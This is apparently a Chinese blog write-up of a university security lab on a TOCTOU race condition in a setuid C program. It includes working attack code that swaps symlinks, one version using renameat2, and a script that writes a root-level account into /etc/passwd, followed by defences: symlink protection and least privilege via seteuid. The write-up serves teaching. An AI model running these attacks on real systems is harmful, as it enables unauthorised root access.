竞态条件|某校系统安全实验3

实验原理

竞态条件漏洞原理

实验源码解释

漏洞程序vuln如下:

/* vulp.c */
#include <stdio.h>
#include<unistd.h>
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){ 
fp = fopen(fn, "a+"); 
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}

漏洞点在access和fopen之间,access函数用于检查 real user 是否拥有对文件“/tmp/XYZ” 的访问权限,如果在access检测通过后,fopen执行前,改变符号链接指向,fopen就会打开修改后的链接指向的文件,如果vuln有root的setuid的话,就能修改具有root权限的文件。

attack程序:

/* attack.c */
#include <unistd.h>
int main() {
 while(1) {
 unlink("/tmp/XYZ");
 symlink("/dev/null", "/tmp/XYZ"); //修改成当前普通账户下的文件
 //sleep(0.5); 
 unlink("/tmp/XYZ");
 symlink("/etc/passwd", "/tmp/XYZ");
 //sleep(0.5);
 }
 return 0;
}

攻击程序删除符号链接/tmp/XYZ,然后执行symlink(“/dev/null”, “/tmp/XYZ”),把符号链接/tmp/XYZ指向/dev/null,文件/dev/null是一个特殊的设备,它对任何人都是可写的,这一步是为了绕过access函数。

绕过access函数后,再次删除符号链接/tmp/XYZ,执行symlink(“/etc/passwd”, “/tmp/XYZ”)把符号链接/tmp/XYZ指向/etc/passwd,此时就能修改root权限的/etc/passwd了。

由于时间要求比较苛刻,所以需要while循环来不停调用,争取在access后,fopen前把符号链接/tmp/XYZ指向/etc/passwd,这就是所谓“竞争”。

注:原实验指导书上的第六行是symlink(“/home/kali/myfile”, “/tmp/XYZ”); 但是会出现myfile文件损坏的情况,建议直接改成 symlink(“/dev/null”, “/tmp/XYZ”);

target程序:

/* target.sh */
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ] 
do
 echo "mytest:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp 
 new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

target程序不断调用vulp程序并写入mytest:U6aMy0wojraho:0:0:test:/root:/bin/bash,如果发现/etc/passwd内容发生变化,即成功被修改后则中止,输出STOP… The passwd file has been changed。

实验过程

任务 1:针对“竞态条件”漏洞的攻击

关闭保护:

sudo sysctl -w fs.protected_symlinks=0

下载gcc

sudo apt install build-essential

编译vuln.c并setuid:

gcc vulp.c -o vulp 
sudo chown root vulp
sudo chmod 4755 vulp

(setuid的目的是为了fopen能打开root权限的文件)

编译attack.c

gcc attack.c -o attack

尝试同时运行attack和target_process.sh,运气好的话会成功,但是大概率会出现如下情况,即target_process.sh窗口不动了,重新再运行一遍连No permission都不弹了:

打开tmp看一下,发现XYZ文件已经变成了root权限,这就是target_process.sh不动了的原因:

XYZ会变成root权限的原因如下:

所以此时需要在tmp窗口下用sudo rm XYZ来删掉XYZ文件,合适的操作是:同时开三个端口,一个跑attack,一个跑target.sh,一个用来待命删除XYZ,当target.sh不动后就把XYZ删掉,会发现target.sh又开始动起来了,如此操作直到修改成功为止。

ps:如果长时间不成功,建议把attack的sleep注释删了。

target.sh出现以下情况就是成功了:

打开/etc/passwd可以看到,已经被写入:

任务 2:改进的攻击

原理:

attack2代码:

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main() {
 unsigned int flags = RENAME_EXCHANGE;
 unlink("/tmp/XYZ");
 symlink("/dev/null", "/tmp/XYZ");
 unlink("/home/monke1/mylink");
 symlink("/etc/passwd", "/home/monke1/mylink");
 
 while(1){
 renameat2(0, "/tmp/XYZ", 0, "/home/monke1/mylink", flags);
 }
 return 0;
}

实验过程

编译后执行,步骤与任务1一致,可以发现,任务2是必定成功的:

如果发现一直未成功,请检查是否关闭保护,如果还不行,可能是mylink损坏,把自己目录下的mylink删除重试一下

任务 3:保护机制:系统自带保护策略

打开保护:

sudo sysctl -w fs.protected_symlinks=1

发现无论是attack还是attack2,都失效了:

任务 4:保护机制:使用最小特权原则

把任务3的保护关了:

sudo sysctl -w fs.protected_symlinks=0

vulp代码更新为:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;
    
    uid_t ruid = getuid();
    uid_t euid = geteuid();
    seteuid(ruid);
    /* get user input */
    scanf("%50s", buffer);

    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }
    seteuid(euid);
    return 0;
}

添加的几行代码如下:

    uid_t ruid = getuid();
    uid_t euid = geteuid();
    seteuid(ruid);
......
    seteuid(euid);

UID一般表示进程的创建者,而EUID表示进程对于文件和资源的访问权限,所以这几行代码的意思就是,在执行关键代码前修改EUID为进程创建者的权限,在关键代码结束后恢复EUID为原本的EUID。

编译,如果新的vulp程序改了名字的话,记得也要在target.sh中改一下:

同样步骤运行,发现攻击失败,即保护成功:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇